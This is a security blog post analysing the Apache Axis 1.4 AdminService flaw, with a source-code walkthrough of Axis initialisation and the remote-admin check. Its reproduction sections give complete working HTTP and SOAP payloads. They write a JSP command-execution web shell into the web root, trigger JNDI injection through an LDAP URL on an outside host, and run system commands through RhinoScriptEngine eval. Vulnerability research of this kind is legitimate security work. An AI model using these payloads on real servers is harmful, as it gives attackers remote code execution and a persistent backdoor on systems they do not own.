Axis vulnerability analysis of Java Security

Posted by Hellomonkey on Fri, 26 Nov 2021 02:31:05 +0100

Axis vulnerability analysis of Java Security

0x00 Preface

I saw that some Axis components often appear in individual codes, and I didn't study the vulnerability carefully. Research and record.

0x01 vulnerability recurrence

Vulnerability version: axis = < 1.4

Axis1.4

freemarker

Download the Axis package version 1.4 and put Axis in the webapp directory of tomcat. Freemaker.jar is placed in the lib directory of Axis. Just run tomcat.

Uncomment the configuration in WEB-INF/web.xml

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/servlet/AdminServlet</url-pattern>
  </servlet-mapping>

For original reproduction, you need to edit the contents in the server-config.wsdd file under / WEB-INF

<service name="AdminService" provider="java:MSG">
  <parameter name="allowedMethods" value="AdminService"/>
  <parameter name="enableRemoteAdmin" value="true"/>
  <parameter name="className" value="org.apache.axis.utils.Admin"/>
  <namespace>http://xml.apache.org/axis/wsdd/</namespace>
 </service>

Change the value of enableRemoteAdmin to true to run the remote call.

The server-config.wsdd file is created when the remote machine accesses the / servlet/AdminServlet route.

Next, the interface is tested for sending payload

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > 
    <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />  
    <parameter name="LogHandler.writeToConsole" value="false" />
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

An ns1:Client.NoSOAPAction error occurred.

After looking at the code of AdminServlet, I find that there seems to be a problem with the judgment logic of getSoapAction called in the dopost method

req.getHeader("SOAPAction") above; Get the value of SOAPAction in header. If it is empty, take the action in content type. If they are all empty, they will return directly to the following logic.

    if (soapAction == null) {
      AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);
      exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);
      throw af;
    } 

Here, you only need to add the SOAPAction parameter to the header and fill in any value, so that the server can get it that is not empty, which can solve this problem.

After using the above payload to create a malicious service, let's call the malicious service.

/axis/services/RandomService

payload:

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>

File written successfully

Reopen the server-config.wsdd file and find that the content has changed

payload finishing

org.apache.axis.handlers.LogHandler

POST request:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 777

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="randomAAA" provider="java:RPC">
<requestFlow>
            <handler type="java:org.apache.axis.handlers.LogHandler" >
                <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
                <parameter name="LogHandler.writeToConsole" value="false" />
            </handler>
        </requestFlow>
          <parameter name="className" value="java.util.Random" />
          <parameter name="allowedMethods" value="*" />
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET request:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

Call service:

POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 700

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
   <soapenv:Header/>
   <soapenv:Body>
      <util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %>
]]></in0>
         <in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
      </util:ints>
   </soapenv:Body>
</soapenv:Envelope>

Files written in this way need to be parsed. It will be cool when encountering Springboot.

org.apache.axis.client.ServiceFactory

POST request:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 750

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="ServiceFactoryService" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

GET request:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

Call service:

POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 891

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://client.axis.apache.org">
   <soapenv:Header/>
   <soapenv:Body>
      <cli:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <environment xsi:type="x-:Map" xs:type="type:Map" xmlns:x-="http://xml.apache.org/xml-soap" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">
            <!--Zero or more repetitions:-->
            <item xsi:type="x-:mapItem" xs:type="type:mapItem">
               <key xsi:type="xsd:anyType">jndiName</key>
               <value xsi:type="xsd:anyType">ldap://xxx.xx.xx.xxx:8888/Exploit</value>
            </item>
         </environment>
      </cli:getService>
   </soapenv:Body>
</soapenv:Envelope>

This point requires JNDI injection

com.sun.script.javascript.RhinoScriptEngine

POST request:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 905

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="RhinoScriptEngineService" provider="java:RPC">
          <parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
          <parameter name="allowedMethods" value="eval" />
<typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
                     type="java:javax.script.SimpleScriptContext"
                     qname="ns:SimpleScriptContext"
                     serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
                     xmlns:ns="urn:beanservice" regenerateElement="false">
        </typeMapping>
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET request:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

Call service:

POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 866

<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com"><soapenv:Body><eval xmlns="http://127.0.0.1:8080/services/scriptEngine"><arg0 xmlns="">
<![CDATA[function test(){    var cmd1 = 'c';    cmd1 += 'm';    cmd1 += 'd';    cmd1 += '.';    cmd1 += 'e';    cmd1 += 'x';    cmd1 += 'e';    var cmd2 = '/';    cmd2 += 'c';    var pb = new java.lang.ProcessBuilder(cmd1,cmd2,'whoami');    var process = pb.start();    var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();    return ret;}   test();]]></arg0><arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
</arg1></eval></soapenv:Body></soapenv:Envelope>

This method has a JDK version. It is required that the JDK version must be 7 or below. After JDK7, the ScriptEngine was abolished and replaced by NashornScriptEngine. The NashornScriptEngine class cannot be used directly

Analytical process analysis

Init

  <servlet>
    <servlet-name>AxisServlet</servlet-name>
    <display-name>Apache-Axis Servlet</display-name>
    <servlet-class>
        org.apache.axis.transport.http.AxisServlet
    </servlet-class>
  </servlet>
... 
<servlet-mapping>
    <servlet-name>AxisServlet</servlet-name>
    <url-pattern>/services/*</url-pattern>
  </servlet-mapping>

See org.apache.axis.transport.http.AxisServlet

public void init() throws ServletException {
        super.init();
        ServletContext context = this.getServletConfig().getServletContext();
        isDebug = log.isDebugEnabled();
        if (isDebug) {
            log.debug("In servlet init");
        }

        this.transportName = this.getOption(context, "transport.name", "http");
        if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {
            this.securityProvider = new ServletSecurityProvider();
        }

        this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));
        this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);
        this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));
        this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");
        if (this.jwsClassDir != null) {
            if (this.getHomeDir() != null) {
                this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;
            }
        } else {
            this.jwsClassDir = this.getDefaultJWSClassDir();
        }
 //Initialize the query handler, that is, the handler corresponding to wsdl, for wsdl file generation    
        this.initQueryStringHandlers();

        try {
            ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());
        } catch (AxisFault var3) {
            exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);
        }

    }

All URL s ending in jws or services path are processed by AxisServlet

super.init();

org.apache.axis.transport.http.init

  public void init() throws ServletException {
        ServletContext context = this.getServletConfig().getServletContext();
        this.webInfPath = context.getRealPath("/WEB-INF");
        this.homeDir = context.getRealPath("/");
        isDebug = log.isDebugEnabled();
        if (log.isDebugEnabled()) {
            log.debug("In AxisServletBase init");
        }

        this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));
    }

org.apache.axis.transport.http.getOption

 protected String getOption(ServletContext context, String param, String dephault) {
        String value = AxisProperties.getProperty(param);
        if (value == null) {
            value = this.getInitParameter(param);
        }

        if (value == null) {
            value = context.getInitParameter(param);
        }

        try {
            AxisServer engine = getEngine(this);
            if (value == null && engine != null) {
                value = (String)engine.getOption(param);
            }
        } catch (AxisFault var6) {
        }

        return value != null ? value : dephault;
    }

org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
        AxisServer engine = null;
        if (isDebug) {
            log.debug("Enter: getEngine()");
        }

        ServletContext context = servlet.getServletContext();
        synchronized(context) {
            engine = retrieveEngine(servlet);
            if (engine == null) {
                Map environment = getEngineEnvironment(servlet);
                engine = AxisServer.getServer(environment);
                engine.setName(servlet.getServletName());
                storeEngine(servlet, engine);
            }
        }

        if (isDebug) {
            log.debug("Exit: getEngine()");
        }

        return engine;
    }

org.apache.axis.transport.http.getEngineEnvironment

Get the AxisServer Engine from the current context. If it returns null, initialize it and store it in the context

 protected static Map getEngineEnvironment(HttpServlet servlet) {
        Map environment = new HashMap();
        String attdir = servlet.getInitParameter("axis.attachments.Directory");
        if (attdir != null) {
            environment.put("axis.attachments.Directory", attdir);
        }

        ServletContext context = servlet.getServletContext();
        environment.put("servletContext", context);
        String webInfPath = context.getRealPath("/WEB-INF");
        if (webInfPath != null) {
            environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
        }

        EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
        if (config != null) {
            environment.put("engineConfig", config);
        }

        return environment;
    }

What is returned here is an org.apache.axis.configuration.EngineConfigurationFactoryServlet factory instance

Call getServerEngineConfig to go to org.apache.axis.configuration.getServerEngineConfig,

EngineConfigurationFactoryFinder.newFactory(servlet) returns the org.apache.axis.configuration.EngineConfigurationFactoryServlet factory instance, and creates a new EngineConfiguration implementation class: FileProvider object (i.e. file operation class of server-config.wsdd) through private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)

The code flow returns to getEngineEnvironment

protected static Map getEngineEnvironment(HttpServlet servlet) {
    Map environment = new HashMap();
    String attdir = servlet.getInitParameter("axis.attachments.Directory");
    if (attdir != null) {
        environment.put("axis.attachments.Directory", attdir);
    }

    ServletContext context = servlet.getServletContext();
    environment.put("servletContext", context);
    String webInfPath = context.getRealPath("/WEB-INF");
    if (webInfPath != null) {
        environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
    }

    EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
    if (config != null) {
        environment.put("engineConfig", config);
    }

    return environment;
}

environment.put("engineConfig", config);

Store the object just read from server-config.wsdd in the map for return.

The logic goes to org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
    AxisServer engine = null;
    if (isDebug) {
        log.debug("Enter: getEngine()");
    }

    ServletContext context = servlet.getServletContext();
    synchronized(context) {
        engine = retrieveEngine(servlet);
        if (engine == null) {
            Map environment = getEngineEnvironment(servlet);
            engine = AxisServer.getServer(environment);
            engine.setName(servlet.getServletName());
            storeEngine(servlet, engine);
        }
    }

org.apache.axis.server.AxisServer

public static AxisServer AxisServer(Map environment) throws AxisFault {
        if (factory == null) {
            String factoryClassName = AxisProperties.getProperty("axis.ServerFactory");
            if (factoryClassName != null) {
                try {
                    Class factoryClass = ClassUtils.forName(factoryClassName);
                    if ((class$org$apache$axis$server$AxisServerFactory == null ? (class$org$apache$axis$server$AxisServerFactory = class$("org.apache.axis.server.AxisServerFactory")) : class$org$apache$axis$server$AxisServerFactory).isAssignableFrom(factoryClass)) {
                        factory = (AxisServerFactory)factoryClass.newInstance();
                    }
                } catch (Exception var3) {
                    log.error(Messages.getMessage("exception00"), var3);
                }
            }

            if (factory == null) {
                factory = new DefaultAxisServerFactory();
            }
        }

        return factory.getServer(environment);
    }

Load into overloaded getServer method

public AxisServer getServer(Map environment) throws AxisFault {
        log.debug("Enter: DefaultAxisServerFactory::getServer");
        AxisServer ret = createServer(environment);
        if (ret != null) {
            if (environment != null) {
                ret.setOptionDefault("attachments.Directory", (String)environment.get("axis.attachments.Directory"));
                ret.setOptionDefault("attachments.Directory", (String)environment.get("servlet.realpath"));
            }

            String attachmentsdir = (String)ret.getOption("attachments.Directory");
            if (attachmentsdir != null) {
                File attdirFile = new File(attachmentsdir);
                if (!attdirFile.isDirectory()) {
                    attdirFile.mkdirs();
                }
            }
        }

        log.debug("Exit: DefaultAxisServerFactory::getServer");
        return ret;
    }
  private static AxisServer createServer(Map environment) {
        EngineConfiguration config = getEngineConfiguration(environment);
        return config == null ? new AxisServer() : new AxisServer(config);
    }
 public AxisServer(EngineConfiguration config) {
        super(config);
        this.running = true;
        this.setShouldSaveConfig(true);
    }

org.apache.axis.AxisEngine

public AxisEngine(EngineConfiguration config) {
    this.config = config;
    this.init();
}

org.apache.axis.AxisEngine

public void init() {
    if (log.isDebugEnabled()) {
        log.debug("Enter: AxisEngine::init");
    }

    try {
        this.config.configureEngine(this);
    } catch (Exception var2) {
        throw new InternalException(var2);
    }

org.apache.axis.configuration.FileProvider

public void configureEngine(AxisEngine engine) throws ConfigurationException {
        try {
            if (this.getInputStream() == null) {
                try {
                    this.setInputStream(new FileInputStream(this.configFile));
                } catch (Exception var3) {
                    if (this.searchClasspath) {
                        this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));
                    }
                }
            }

            if (this.getInputStream() == null) {
                throw new ConfigurationException(Messages.getMessage("noConfigFile"));
            } else {
                WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));
                //Deployment or undeployment depends on the document configuration
                this.deployment = doc.getDeployment();
                //Define all data and configure this AxisEngine
                this.deployment.configureEngine(engine);
                //Refresh content
                engine.refreshGlobalOptions();
                this.setInputStream((InputStream)null);
            }
        } catch (Exception var4) {
            throw new ConfigurationException(var4);
        }
    }

The above overall parsing process parses the server-config.wsdd service configuration for configureEngine. Cache the various properties handler, globalConfiguration, service and transport in the configuration file into the WSDDDeployment class. Refresh the global configuration option, that is, the parameter Attribute Collection in the global configuration node in the server-config.wsdd configuration file is held by AxisEngine.

The above has completed the initialization of init

doGet

See doGet

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    if (isDebug) {
        log.debug("Enter: doGet()");
    }

    FilterPrintWriter writer = new FilterPrintWriter(response);

    try {
        AxisEngine engine = this.getEngine();
        ServletContext servletContext = this.getServletConfig().getServletContext();
        String pathInfo = request.getPathInfo();
        String realpath = servletContext.getRealPath(request.getServletPath());
        if (realpath == null) {
            realpath = request.getServletPath();
        }

        boolean isJWSPage = request.getRequestURI().endsWith(".jws");
        if (isJWSPage) {
            pathInfo = request.getServletPath();
        }

        if (this.processQuery(request, response, writer)) {
            return;
        }

If the end of the request URI is jws, call request.getServletPath();

For example, if / axis/EchoHeaders.jws?wsdl uses pathInfo, it is equal to EchoHeaders.jws

Then, it is parsed by the processQuery method

The above is a series of access request paths. You can directly see the following code, which has been traversed

Here, the configuration contents of server-config.wsdd are loaded. Next, according to the query condition string (i.e. wsdl), find the corresponding handler by matching with the parameter attribute of the transport node in server-config.wsdd.

Continue with the parsing process

See the steps to get the handler. Because the request is made in the way of wsdl, the QSWSDLHandler class is obtained here. The following will reflect to call the invoke method

public void invoke(MessageContext msgContext) throws AxisFault {
    this.configureFromContext(msgContext);
    AxisServer engine = (AxisServer)msgContext.getProperty("transport.http.plugin.engine");
    PrintWriter writer = (PrintWriter)msgContext.getProperty("transport.http.plugin.writer");
    HttpServletResponse response = (HttpServletResponse)msgContext.getProperty(HTTPConstants.MC_HTTP_SERVLETRESPONSE);

    try {
        engine.generateWSDL(msgContext);
        Document wsdlDoc = (Document)msgContext.getProperty("WSDL");
        if (wsdlDoc != null) {
            try {
                this.updateSoapAddressLocationURLs(wsdlDoc, msgContext);
            } catch (RuntimeException var7) {
                this.log.warn("Failed to update soap:address location URL(s) in WSDL.", var7);
            }

            response.setContentType("text/xml; charset=" + XMLUtils.getEncoding().toLowerCase());
            this.reportWSDL(wsdlDoc, writer);
        } else {
            if (this.log.isDebugEnabled()) {
                this.log.debug("processWsdlRequest: failed to create WSDL");
            }

            this.reportNoWSDL(response, writer, "noWSDL02", (AxisFault)null);
        }
    } catch (AxisFault var8) {
        if (!var8.getFaultCode().equals(Constants.QNAME_NO_SERVICE_FAULT_CODE)) {
            throw var8;
        }

        this.processAxisFault(var8);
        response.setStatus(404);
        this.reportNoWSDL(response, writer, "noWSDL01", var8);
    }

}

This large string of code here is the step of creating the corresponding WSDL and returning it.

Give the wsdl generation task to a series of handlers configured by server-config.wsdd, and the execution order is
transport[requestFlow]---->globalConfiguration[requestFlow]---->service[requestFlow]---->service[responseFlow]---->globalConfiguration[responseFlow]---->transport[responseFlow]
Services for jws are handled by JWSHandler.

Let's see the Handler of jws service processing

org.apache.axis.handlers.JWSHandler

  public void invoke(MessageContext msgContext) throws AxisFault {
        if (log.isDebugEnabled()) {
            log.debug("Enter: JWSHandler::invoke");
        }

        try {
            this.setupService(msgContext);
        } catch (Exception var3) {
            log.error(Messages.getMessage("exception00"), var3);
            throw AxisFault.makeFault(var3);
        }
    }

The above code mainly completes the conversion of jws into java files and temporarily stores them in the jwsClasses directory, then compiles the java files through the compilers sun.tools.javac.Main and com.sun.tools.javac.main.Main in jdk, stores the compiled class files in the jwsClasses directory, deletes the temporary java files, and loads the generated class binary files into the class loader.
rpc = new SOAPService(new RPCProvider());
Add the handler instance rpcprovider (inheriting BasicProvider) to the current handler chain

DoPost

Come to dopost to see the logic

Get some request paths, context, Engine and other contents earlier, and don't read them here

org.apache.axis.server.AxisServer#invoke

if (hName != null && (h = this.getTransport(hName)) != null && h instanceof SimpleTargetedChain) {
                        transportChain = (SimpleTargetedChain)h;
                        h = transportChain.getRequestHandler();
                        if (h != null) {
                            h.invoke(msgContext);
                        }
                    }

The value of hName is http. this.getTransport(hName) obtains the value from server-config.wsdd

h.invoke(msgContext);

//Loop through the chain that calls each handler
public void invoke(MessageContext msgContext) throws AxisFault {
    if (log.isDebugEnabled()) {
        log.debug("Enter: SimpleChain::invoke");
    }

    this.invoked = true;
    this.doVisiting(msgContext, iVisitor);
    if (log.isDebugEnabled()) {
        log.debug("Exit: SimpleChain::invoke");
    }

}

this.doVisiting(msgContext, iVisitor);

org.apache.axis.SimpleChain#doVisiting

 private void doVisiting(MessageContext msgContext, HandlerIterationStrategy visitor) throws AxisFault {
        int i = 0;

        try {
            for(Enumeration enumeration = this.handlers.elements(); enumeration.hasMoreElements(); ++i) {
                Handler h = (Handler)enumeration.nextElement();
                visitor.visit(h, msgContext);
            }

        } catch (AxisFault var6) {
            if (!msgContext.isPropertyTrue(this.CAUGHTFAULT_PROPERTY)) {
                Message respMsg = new Message(var6);
                msgContext.setResponseMessage(respMsg);
                msgContext.setProperty(this.CAUGHTFAULT_PROPERTY, Boolean.TRUE);
            }

visitor.visit(h, msgContext);

Traverse the XML content and call method.invoke

Here, the service is called.

The reason why MsgProvider is here is the configuration in server-config.wsdd

0x02 vulnerability analysis

Vulnerability analysis

org.apache.axis.utils.Admin#AdminService

public Element[] AdminService(Element[] xml) throws Exception {
    log.debug("Enter: Admin::AdminService");
    MessageContext msgContext = MessageContext.getCurrentContext();
    Document doc = this.process(msgContext, xml[0]);
    Element[] result = new Element[]{doc.getDocumentElement()};
    log.debug("Exit: Admin::AdminService");
    return result;
}

this.process(msgContext, xml[0]); Come and see this place

public Document process(MessageContext msgContext, Element root) throws Exception {
    this.verifyHostAllowed(msgContext);
    String rootNS = root.getNamespaceURI();
    AxisEngine engine = msgContext.getAxisEngine();
    if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {
        return processWSDD(msgContext, engine, root);
    } else {
        throw new Exception(Messages.getMessage("adminServiceNoWSDD"));
    }
}

this.verifyHostAllowed(msgContext);

private void verifyHostAllowed(MessageContext msgContext) throws AxisFault {
    Handler serviceHandler = msgContext.getService();
    if (serviceHandler != null && !JavaUtils.isTrueExplicitly(serviceHandler.getOption("enableRemoteAdmin"))) {
        String remoteIP = msgContext.getStrProp("remoteaddr");
        if (remoteIP != null && !remoteIP.equals("127.0.0.1") && !remoteIP.equals("0:0:0:0:0:0:0:1")) {
            try {
                InetAddress myAddr = InetAddress.getLocalHost();
                InetAddress remoteAddr = InetAddress.getByName(remoteIP);
                if (log.isDebugEnabled()) {
                    log.debug("Comparing remote caller " + remoteAddr + " to " + myAddr);
                }

                if (!myAddr.equals(remoteAddr)) {
                    log.error(Messages.getMessage("noAdminAccess01", remoteAddr.toString()));
                    throw new AxisFault("Server.Unauthorized", Messages.getMessage("noAdminAccess00"), (String)null, (Element[])null);
                }
            } catch (UnknownHostException var6) {
                throw new AxisFault("Server.UnknownHost", Messages.getMessage("unknownHost00"), (String)null, (Element[])null);
            }
        }
    }

}

The above location obtains the value of enableRemoteAdmin to judge whether the enableRemoteAdmin is True. If it is not True, judge whether the address of the remote request is local access. If none, an exception is thrown directly.

Continue to see processWSDD(msgContext, engine, root); position

engine.saveConfiguration();

 public void saveConfiguration() {
        if (this.shouldSaveConfig) {
            try {
                this.config.writeEngineConfig(this);
            } catch (Exception var2) {
                log.error(Messages.getMessage("saveConfigFail00"), var2);
            }

        }
    }

org.apache.axis.configuration.FileProvider#writeEngineConfig

This place will write the requested xml data to the server-config.wsdd file

According to the previous analysis, this file is used to obtain the configuration information for calling and configuring service s. Then the next thing is clear at a glance.

Exploit vulnerability

In the previous replay vulnerability, it is found that after the payload is finished, a string of configurations are added to server-config.wsdd. Look down

<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler">
  <parameter name="LogHandler.writeToConsole" value="false"/>
  <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp"/>
 </handler>

A LogHandler is configured

org.apache.axis.handlers.soap.SOAPService#invoke

public void invoke(MessageContext msgContext) throws AxisFault {
    log.debug("Enter: LogHandler::invoke");
